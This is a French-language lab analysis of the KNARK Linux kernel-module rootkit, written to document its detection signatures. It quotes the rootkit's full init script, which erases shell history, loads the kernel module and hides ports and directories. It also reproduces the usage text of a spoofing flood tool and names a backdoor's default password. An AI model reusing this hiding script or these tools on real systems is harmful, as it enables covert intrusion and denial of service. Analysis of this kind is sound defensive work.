But
Le but de cet article est d'identifier des signatures liées au
rootkit KNARK. Cet article ne montre pas comment installer le
rootkit ni ne fait de comparaison entre ce rootkit et tout autre
rootkits. Cet article essayera d'instruire les lecteurs sur les
divers signatures et problèmes liés à ce rootkit.
Qu'est ce qu'un rootkit?
Un rootkit est une collection de fichiers/programmes employé par
l'attaquant(s) pour resaisir un reseau/ordinateur sans être detecte.
Normalement un rootkit viendra avec divers exploits pour aider
l'attaquant a penetrer un systeme. Récemment, plusieurs exploits ont
été associées avec des vulnérabilités communes trouvées dans BIND,
Linux line printer et le programme de ftp de Washington
University.
En plus des exploits, beaucoup de rootkits également viennent
avec et installent des sniffers. Ceci est fait parce que les
attaquants veulent capturer des mots de passe des utilisateurs
entrant sur ce réseau; un renifleur peut faire ca et c'est dur à
detecter. Un rootkit peut également changer les binaires communs de
sorte qu'un administrateur occupé ne les détecte pas.
Des binaires communs sont des binaires qui peuvent être employés
pour surveiller les systèmes: /bin/ps, /bin/ls, /bin/netstat,
/usr/bin/lsof, /usr/bin/top (ce n'est pas une liste complete);
Maintenant que nous avons couvert des bases des rootkits, jetons un
regard au rootkit en question.
Le rootkit KNARK
Récemment il a y eu beaucoup de discussion du rootkit KNARK sur
la liste des incidents et beaucoup de bonnes références (énumérées à
la fin du papier) ont ete citees. J'espère que cet article vous
fournira une information certaine et utile. Le rootkit KNARK a m'été
envoyé par un ami (un certain huh d'ami?!) pour regarder et analyse.
Le tableau 1 énumère les fichiers qui viennent avec KNARK :
|
Table 1: Liste des fichiers
venant avec KNARK |
|
Makefile |
apache.c |
|
Apache.cgi |
backup |
|
Bj.c |
caine |
|
Clearmail |
dmesg |
|
Dmsg |
ered |
|
Exec |
fix |
|
Fixtext |
ftpt |
|
Gib |
gib.c |
|
Hds0 |
hidef |
|
Inc.h |
init |
|
Lesa |
login |
|
Lpdx |
lpdx.c |
|
Make-ssh-host-key |
make-ssh-known-hosts |
|
Module |
nethide |
|
Pgr |
removeme |
|
Rexec |
rkhelp |
|
Rootme |
sl2 |
|
Sl2.c |
snap |
|
Ssh_config |
sshd_config |
|
Ssht |
statdx2 |
|
Sysmod.o |
sz |
|
T666 |
unhidef |
|
Wugod |
zap |
Apres avoir jeter un coup d'oeil a certains des fichiers, j'ai
decide d'installer le rootkit. Knark vient avec un fichier nomme
exec (voir table 1) et quand ce fichier est execute, plusieurs
choses se passent:
1) Creation des repertoires: /dev/.pizda
and /dev/.pula (pas capable de le voir avec ls. Utiliser cd
/dev/.pizda).
2) Insertion de sysmod.o.
3) KNARK change aussi les fichiers
S99local dans rcX.d. Cela provoque la machine un echec au
redemarrage.
La premiere chose que j'ai fait apres l'installation est
d'utiliser NMAP: nmap –sS –p 1-65535 192.168.0.20 et
d'attendre.
|
Starting nmap V. 2.53 by fyodor@insecure.org (
www.insecure.org/nmap/ )
Interesting ports on
sec-linux.lab.sec (192.168.0.20):
(The 65523 ports scanned
but not shown below are in state:
closed)
Port
State
Service
21/tcp
open
ftp
79/tcp
open
finger
111/tcp
open
sunrpc
113/tcp
open
auth
512/tcp
open
exec
513/tcp
open
login
514/tcp
open
shell
515/tcp
open
printer
3001/tcp open
nessusd
18667/tcp
open
unknown
31221/tcp
open
unknown
Nmap run completed -- 1 IP address (1 host up) scanned in
33 seconds |
Figure 1. Resultats
NMAP
La figure 1 montre beaucoup de choses (bonne chose, cette machine
est dans un lab et pas dans la nature : ). D'abord, nous voyons
qu'il y a deux ports inconnus (18667 et 31221). Ensuite, nous
voyons que cette machine est chanceuse de ne pas avoir ete "rooter"
une douzaine de fois.
La prochaine etape est de lancer
netstat. Pourquoi? Bien, nous voulons voir si netstat va
montrer les memes ports que NMAP. Si ce n'est pas le cas, nous
verfierons le binaire netstat.
|
Active Internet connections (servers and
established)
Proto Recv-Q Send-Q Local
Address
Foreign
Address
State
tcp
0 0
0.0.0.0:79
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:512
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:513
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:514
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:21
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:3001
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:515
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:113
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:111
0.0.0.0:*
LISTEN
udp
0 0
0.0.0.0:518
0.0.0.0:*
udp
0 0
0.0.0.0:517
0.0.0.0:*
udp
0 0
0.0.0.0:512
0.0.0.0:*
udp
0 0
0.0.0.0:111
0.0.0.0:*
raw
0 0
0.0.0.0:1
0.0.0.0:*
Active UNIX domain sockets (servers and
established)
Proto RefCnt
Flags
Type
State I-Node
Path
unix 0 [ ACC
] STREAM
LISTENING 468
/dev/printer
unix 6 [
]
DGRAM
371 /dev/log
unix
0 [ ACC
] STREAM
LISTENING 503
/dev/gpmctl
unix 0 [
ACC ] STREAM
LISTENING 2126
/tmp/.font-unix/fs-1
unix
0 [
]
STREAM
CONNECTED 173
@00000015
unix 0 [
]
DGRAM
2711
unix
0 [
]
DGRAM
2161
unix
0 [
]
DGRAM
2130
unix
0 [
]
DGRAM
462
unix
0 [
]
DGRAM
394
unix
0 [
]
DGRAM
383 |
Figure 2: Resultats
Netstat
La figure 2 est le resultat de netstat –a –n. Deux ports ne sont
identifies, donc verifions le binaire netstat. La verification
necessite trois etapes:
1) Lancer strings. Cela va nous permettre
de voir si un repertoire cache est stocke dans le binaire.
Verifié et il n'y avait pas de repertoire cache.
2) Md5sum. Cette etape est logique. La
comparaison entre le md5sum de netstat a celui se trouvant sur le CD
montre qu'ils sont identiques.
3) Lancer diff. Oui. . . c'est repetitif
mais nous avons rien a perdre. Malheureusement, le resultat est le
meme. Tout est OK.
4) Dans le passé si une machine avait un
rootkit installé, un administrateur pourrait rechercher les binaires
et trouver des traces du rootkit. Pas facile aussi dans ce cas-ci.
Le rootkit KNARK se cache réellement dans le noyau rendant ce
rootkit presque impossible a trouver et analyser. Comment est-ce que
ceci est allé? Bien, les attaquants peuvent faire ceci en utilisant
les modules du noyau chargeables (Loadable Kernel Modules LKM). Pour
quiconque qui a été dans le monde de Linux vous savez que LKM sont
des morceaux de code qui peuvent être chargés dans le système
d'exploitation sur demande. En fait on l'encourage que vous employez
LKM afin de mettre à jour votre matériel pour votre OS, insérant des
modules dans Linux n'est pas difficile, en fait insmod fait le
travail.
KNARK vient avec quelques bons exploits.
1) Lpdx – C'est utiliser pour exploit la
faille sur le service LPR de redhat. Voila ce qu'un IDS pourrait
voir:
|
09:06:19.991789 > 192.168.1.13.2894 >
192.168.0.40.printer: S 4221747912:4221747912(0) win 32120
<mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0> (DF)
(ttl 64, id 11263)
09:06:19.993434 < 192.168.1.13.printer >
192.168.0.40.2894: S 397480959:397480959(0) ack 4221747913 win
32120 <mss 1460,sackOK,timestamp 393475 4058996,nop,wscale
0> (DF) (ttl 64, id 3278)
09:06:19.993514 > 192.168.1.13.2894 >
192.168.0.40.printer: . 1:1(0) ack 1 win 32120
<nop,nop,timestamp 4058996 393475> (DF) (ttl 64, id
11264) |
Figure 3: Signature Lpr
2) T666 – C'est utiliser pour exploiter
BIND 8.2.1. Cet exploit est utilise contre Linux et
FreeBSD. Une signature habituelle pour cet outil est un
repertoire appele /var/named/ADMROCKS.
3) Wugod – C'est un exploit contre
Washington University’s ftpd 2.6.0(1) pour FREEBSD, Linux (RH 6.2 et
SuSe 6.3&6.4).
|
Slice v2.1+, credits: sinkhole, sacred. Rewritten and 1+ by
some lamerz :P
### linux version
Usage: ./sl2 <target>
<clones> [-f] [-c] [-d seconds] [-p packets] [-s
packetsize] [-maxs packetsize] [-a srcaddr] [-l lowport] [-h
highport] [-incports] [-sleep ms]
[-syn[ack]]
Target - the target we are
trying to attack.
Clones - number of packets to
send at once (use -f for more than 6).
-f -
force usage of more than 6 clones.
-c -
class C flooding.
-d seconds -
time to flood in seconds (default 600, use 0 for no
timeout).
-p packets - packets to
send for each clone (if used with -d is ignored).
-s
size - packet size (default 40, use 0
for random packets).
-maxs size -
maximum size for random packets.
-a
srcaddr - the spoofed source address (random if not
specified).
-l lowport - start
port (1024 if not specified).
-h
highport - end port (65535 if not
specified).
-incports -
choose ports incremental (random if not
specified).
-sleep ms -
delay between packets in miliseconds (0=no delay by
default).
-syn - use SYN
instead ACK.
-synack - use
SYN|ACK. |
Figure 4: Slice (sl2) help output
Comme vous pouvez le voir, cet outil permet a un attaquant de
rendre aleatoire ses paquets. Ca le rendra plus difficile a
detecter.
|
09:05:26.655215 > 192.168.1.13 > 192.168.0.40: (frag
33252:20@256) [tos 0xe8] (ttl 255)
09:05:26.655701
> 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos
0xe8] (ttl 255)
09:05:26.656186 > 192.168.1.13
> 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.656671 > 192.168.1.13 > 192.168.0.40:
(frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.657156 > 192.168.1.13 > 192.168.0.40:
(frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.657642 > 192.168.1.13 > 192.168.0.40:
(frag 33252:20@256) [tos 0xe8] (ttl
255)
|
Figure 5: Resultats de
Slice
Regarder la commande d'aide ne nous aidera pas en détectant ce
programme, ainsi j'ai décidé d'exécuter le DOS. Le schéma 5 nous
montre a quoi slice ressemble le moment où il est utilise. Garder a
l'esprit que ces signatures peuvent changer (ceci dépend de
l'attaquant et la façon dont le rootkit est installe).
KNARK vient avec beaucoup d'autres
outils que nous n'avons pas discuté encore. Le premier outil que
nous couvrirons est gib.c. Cet outil écoute sur le port 18667 (un
des deux ports que nous avons découverts en utilisant NMAP) et vient
avec par défaut un mot de passe de Error. Ce programme est juste
votre backdoor typique. Ensuite, nous avons un fichier appelé init.
C'est une shell script MAIS, il explique pourquoi il est difficile
de détecter ce rootkit.
|
#!/bin/sh
unset HISTFILE
export
HISTFILE=/dev/null
unset _
/sbin/insmod -f
/lib/modules/sysmod.o 1>/dev/null 2>/dev/null
if [ -a
/usr/bin/gib ]
then
/usr/bin/gib & 1>/dev/null
2>/dev/null
else
echo "aaa"
>>/dev/null
fi
/dev/.pizda/jesuscd -f
/dev/.pizda/sshd_config -h /dev/.pizda/ssh_host_key -q
1>/dev/null 2>/dev/null
cd "/dev/.pula"
1>/dev/null 2>/dev/null
./caine >> bashina
& 1>/dev/null 2>/dev/null
cd /root
killall -31
gib 1>/dev/null 2>/dev/null
killall -31 jesuscd
1>/dev/null 2>/dev/null
killall -31 caine
1>/dev/null 2>/dev/null
/dev/.pizda/hidef /dev/.pizda
1>/dev/null 2>/dev/null
/dev/.pizda/hidef /dev/.pula
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":79F5"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":48EB"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":2FB5"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A01"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A02"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A03"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A04"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A05"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A06"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A07"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A08"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A09"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0A"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0B"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0C"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0D"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0E"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":1A0F"
1>/dev/null 2>/dev/null
/dev/.pizda/nethide ":029A"
1>/dev/null 2>/dev/null
/dev/.pizda/hidef
/usr/bin/gib 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /bin/rtty 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /tmp/pgr 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /var/lock/pgr
1>/dev/null 2>/dev/null
/dev/.pizda/hidef
/usr/man/man3/pgr 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /lib/modules/sysmod.o
1>/dev/null 2>/dev/null
/dev/.pizda/hidef
/sbin/rootme 1>/dev/null 2>/dev/null
if [ -a
/var/spool/uucp/zdn ]
then
/dev/.pizda/hidef
/var/spool/uucp/zdn 1>/dev/null
2>/dev/null
|
Figure 6: fichier init
Figure 6 explique tout. Je voudrais souligner quelques
lignes importantes dans le script.
1)
Vous pouvez voir que l'attaquant reste
cacher.
2) Il utilise killall –31 pour
cacher gib, jessuscd et caine. Afin de les rendre visible vous
pouvez entrer killall –32(Il y a un lien a la fin de l'article qui
explique ca en detail.).
3) Vous pouvez voir plusieurs references
a /dev/.pizda/nethide. Un exemple est:
/dev/.pizda/nethide ":79F5" 1>/dev/null
2>/dev/null.Bien, pour ceux qui n'ont le temps
de faire les conversions hexa:
48EB =
18667
1A05 =
6661
79F5 = 31221
1A06 =
6662
029A = 12213
1A07 =
6663
1A01 = 6657
1A08 = 6664
1A02 =
6658
1A09 = 6665
1A03 =
6659
1A0A = 6666
1A04 =
6660
1A0B = 6667
1A0C =
6668
1A0D = 6669
1A0E =
6670
1A0F = 6671
Recommendations
Pour etre honnete, je n'ai pas beaucoup de temps pour de solides
solutions liees aux rootkits LKM. Voila ce que je peux
dire. La premiere chose est d'utiliser LIDS. Je ne l'ai
pas teste, mais j'ai prevu de le faire bientot. Ensuite, si
vous avez un rootkit LKM et que vous ne trouvez rien (binaires
changes etc..) essayer de mettre a jour votre version. La MAJ
ne supprimera pas le rootkit mais vous permettra peut etre de le
voir.
Conclusion
Ce type de rootkit va a l'encontre de tout ce que les
administrateurs en securite ont enseigne. Dans le passe, les
rootkits se cachaient avec des binaires modifies. Les admin
utilisaient de bons binaires pour les detecter et puis fini ! Avec
cette bete, ce n'est pas aussi simple.
Lectures recommendees
Concepts de developpement d'un tel rootkit.
http://packetstorm.securify.com/groups/thc/LKM_HACKING.html
Plus sur la programmation LKM .
http://howto.tucows.com/LDP/LDP/lkmpg
Phrack
http://www.2600.com/phrack/p52-06.html
et
http://www.2600.com/phrack/p52-06.html